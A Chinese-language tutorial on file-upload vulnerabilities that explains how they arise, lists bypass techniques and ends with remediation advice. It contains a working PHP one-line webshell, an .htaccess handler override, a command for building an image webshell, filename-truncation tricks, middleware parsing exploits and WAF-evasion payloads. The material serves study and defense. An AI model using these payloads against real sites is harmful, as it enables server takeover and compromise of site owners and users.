Web安全之文件上传(原理,绕过,防御)
文件上传漏洞
原理:
web应用中对于上传文件的功能没有进行严格的验证和过滤,
导致攻击者可以上传任意文件,例如一句话木马(又被称为Webshell)控制整个网站
经典的一句话木马:
<?php @eval($_POST['shell']);?>
$_POST[]:在php中是一个预定义好的变量,通过它可以获取到前端表单提交方法为post的表单中的数据
eval():将字符串作为代码来执行,在前面加上@(错误操作控制符)会抑制该函数产生的错误信息。
这样我们就可以通过将一个文件内容为<?php @eval($_POST['shell']);?> 的php脚本文件上传到服务器,
再通过网站管理工具antSword,chopper(中国菜刀)等去连接,shell为参数,也为连接密码.
常见绕过:
前端JS绕过
删除前端检查文件的相关代码,保存页面提交
burp抓包改包(前提该功能没有用纯js实现上传,不然抓不到数据包)
黑名单:(asp,jsp,php,aspx,cgi,war...)
白名单(jpg,png,jpeg,zip,mp3,gif,rar...)
MIME绕过:
上传图片中请求头中的Content-Type字段为:image/gif,image/jpeg等
上传脚本文件为application/octet-stream
通过对数据包中Content-Type的伪造来绕过
内容检测:
文件头检测
顾名思义更改数据包中文件头信息,php改为jpg让服务器以为是图片
突破getimagesize()和exif_imagetype()
配合文件包含漏洞上传图片马包含执行
逻辑问题:二次渲染跟条件竞争
根据用户上传的图片生成新的图片,将原始图片变为缩略图,后缀会被改等导致图片马失效
第一步 上传文件
第二步 对文件进行二次操作(验证,重命名等) 容易产生条件竞争漏洞
应将验证放在上传文件前,因为验证放到后边时后门已经上传到了服务器上
Apache .htaccess文件绕过
上传.htaccess更改apache配置 上传自定义后缀解析执行
<FilesMatch "shell">
setHandler application/x-httpd-php
</FilesMatch>
匹配到文件名包含shell字符串的文件当作php解析
%00截断
例如:webshell.php%00.jpg
get会自动解码 能够识别%00并截断
post不会识别 反而会将%00进行url编码成%25%30%30
所以post截断的时候必须把%00进行url解码,解码后的字符是真正的想要的%00
图片马
windows下dos命令 copy 1.jpg /b+shell.php /a webshell.jpg
得到图片马webshell.jpg
目录命名webshell.php/.
.php/.绕过了代码层的检验,服务器保存为webshell.php
配合中间件漏洞(Apache,IIS,weblogic...)
CVE-2017-12615 Tomcat任意文件上传漏洞
影响版本7.0.0-7.0.79(7.0.81修复不完全)
上传jsp后门导致接管网站
IIS5.x/6.0解析漏洞
第一种 目录解析
在网站下建立文件夹名为xxx.asp ,xxx.asa的文件夹,文件夹内的任何扩展名的文件都会被IIS当作asp,asa文件来解析执行
例如/file.asp/1.jpg
1.jpg会被当做asp文件执行
第二种 分号后面的不被解析
xxx.asp;.jpg
会被当做xxx.asp
Apache 低版本1.x/2.x未知扩展名解析漏洞
从右向左识别,例如xxx.php.asd.asdw上传会被当做xxx.php执行
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
2.4.0~2.4.29版本在解析php时,1.php\x0A将被按照php后缀进行解析,导致绕过服务器的一些安全策略
1.php被拦截
1.php\x0A不拦截
访问1.php%0a能够解析
Nginx文件名逻辑漏洞(CVE-2013-4547)
影响版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7
上传1.jpg
访问1.jpg
Nginx解析漏洞
该漏洞由于用户配置不当
访问1.jpg和1.jpg/.php即可执行图片马
上传漏洞检测思路
是否二次渲染
中间件信息?IIS,apache,tomcat,nginx
操作系统信息 windows or linux?
WAF绕过及安全修复
常见绕过方法:
数据溢出(垃圾数据填充)-防匹配
Content-Dispostion:formdata;
asdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxc;//注意垃圾数据结束加分号
name="upload_file";
filename="shell.php"
符号变异-防匹配(' " ;):
filename="shell.php或者'shell.php 成功绕过,shell.php"或者shell.php'拦截
waf匹配的时候分三种情况
1:将"shell.php整个匹配到
2:将shell.php匹配到
3:由于双引号没闭合,不匹配(上传成功)
原因:waf从后找双引号或者单引号往前匹配上传的文件先经过waf
由于没闭合,waf没匹配到,放到后端 后端却可以正常接收到shell.php实现绕过
数据截断:(%00 ; 换行符\n)
分号截断:filename="x.jpg;.php"
换行符截断:filename="x.p
h
p"
文件名为x.p\nh\n\np
重复数据(参数多次):
filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";......filename="x.php";
借助白名单
filename="Content-Disposition:form-data; name="upload_file"x.php"
修复方案
后端验证:采用服务器端的验证模式
后缀检测:基于黑名单,白名单过滤
MIMIE检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考upload-labs里的函数
自定义函数过滤:function check_file(){}
WAF防护产品:宝塔,云盾,各大安全公司产品等